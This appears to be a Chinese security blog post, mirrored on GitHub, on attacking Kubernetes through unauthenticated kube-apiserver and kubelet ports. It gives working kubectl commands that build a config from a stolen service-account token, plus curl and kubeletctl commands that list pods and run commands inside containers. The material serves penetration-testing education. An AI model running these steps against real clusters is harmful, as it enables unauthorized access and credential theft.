Skip to content

Latest commit

 

History

History
238 lines (125 loc) · 6.13 KB

[信安文摘]-2022-3-14-【云原生渗透】- k8s的攻击利用面(一).md

File metadata and controls

238 lines (125 loc) · 6.13 KB

【云原生渗透】- k8s的攻击利用面(一)

原创 君行路 信安文摘

信安文摘

微信号 share-for-life

功能介绍 信息安全路上的一点笔记


__

收录于话题

#安全记录 36 个

#云原生渗透 19 个

除了容器逃逸问题,未授权问题是目前k8s存在最多的问题,以下是常见的k8s未授权:

kube-apiserver

6443,8080

未授权访问获取kube-system的token,通过kubectl使用kube- system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。

kubelet

10250,10255

kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token

etcd

2379

导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

dashboard

30000以上

docker

2375

Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。

1. kube-apiserver 未授权访问

apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。

正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。

当把system:anonymous用户绑定到cluster-admin的集群角色时,再来访问。即可看到能访问的内容:

访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 获取kube- system命名空间的token信息:

系统自带的服务账号没啥操作权限,需要寻找运维人员自建的。总之, 有admin就找admin ,没有的话找个 非系统自带账号 或者 尝试default账号

拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入获取的 token:

touch test_config  
  
kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN  
  
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.41.22:6443/  --insecure-skip-tls-verify  
  
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker  
  
kubectl --kubeconfig=./test_config config use-context test_context

生成的文件内容为:

apiVersion: v1  
clusters:  
- cluster:  
    insecure-skip-tls-verify: true  
    server: https://192.168.41.22:6443/  
  name: hacked_cluster  
contexts:  
- context:  
    cluster: hacked_cluster  
    user: hacker  
  name: test_context  
current-context: test_context  
kind: Config  
preferences: {}  
users:  
- name: hacker  
  user:  
    token: ZXlKaGJHY2lPaUpTVXpJMU5TOKEN

通过kubectl加载刚才的config文件执行pod里面的命令:

kubectl --kubeconfig=./test_config get nodes -A

2. kubelet未授权访问

每一个 Worker节点 都有一个kubelet服务,kubelet监听了10250(kubelet API),1024810255(readonly API)等端口。

正常情况下访问是没有权限的:

https://192.168.41.23:10250/pods

authentication.anonymous.enabled配置不当设置为 true 时,允许匿名访问 10250 端口:

访问存在如下回显,就是存在未授权访问:

利用

https://github.com/cyberark/kubeletctl/releases

下载kubeletctl工具,执行命令:

./kubeletctl pods -s 192.168.41.23 --port 10250

可以看到pod,namespace,containers。

执行pod里容器的命令:

curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure  
  
curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure

如果是10255端口的未授权而非10250,它是 只读端口 ,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息。

参考链接

https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ

https://blog.csdn.net/w1590191166/article/details/122028001?spm=1001.2014.3001.5501

预览时标签不可点

收录于话题 #

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

示意图

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

【云原生渗透】- k8s的攻击利用面(一)

最多200字,当前共字

__

发送中

写留言

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看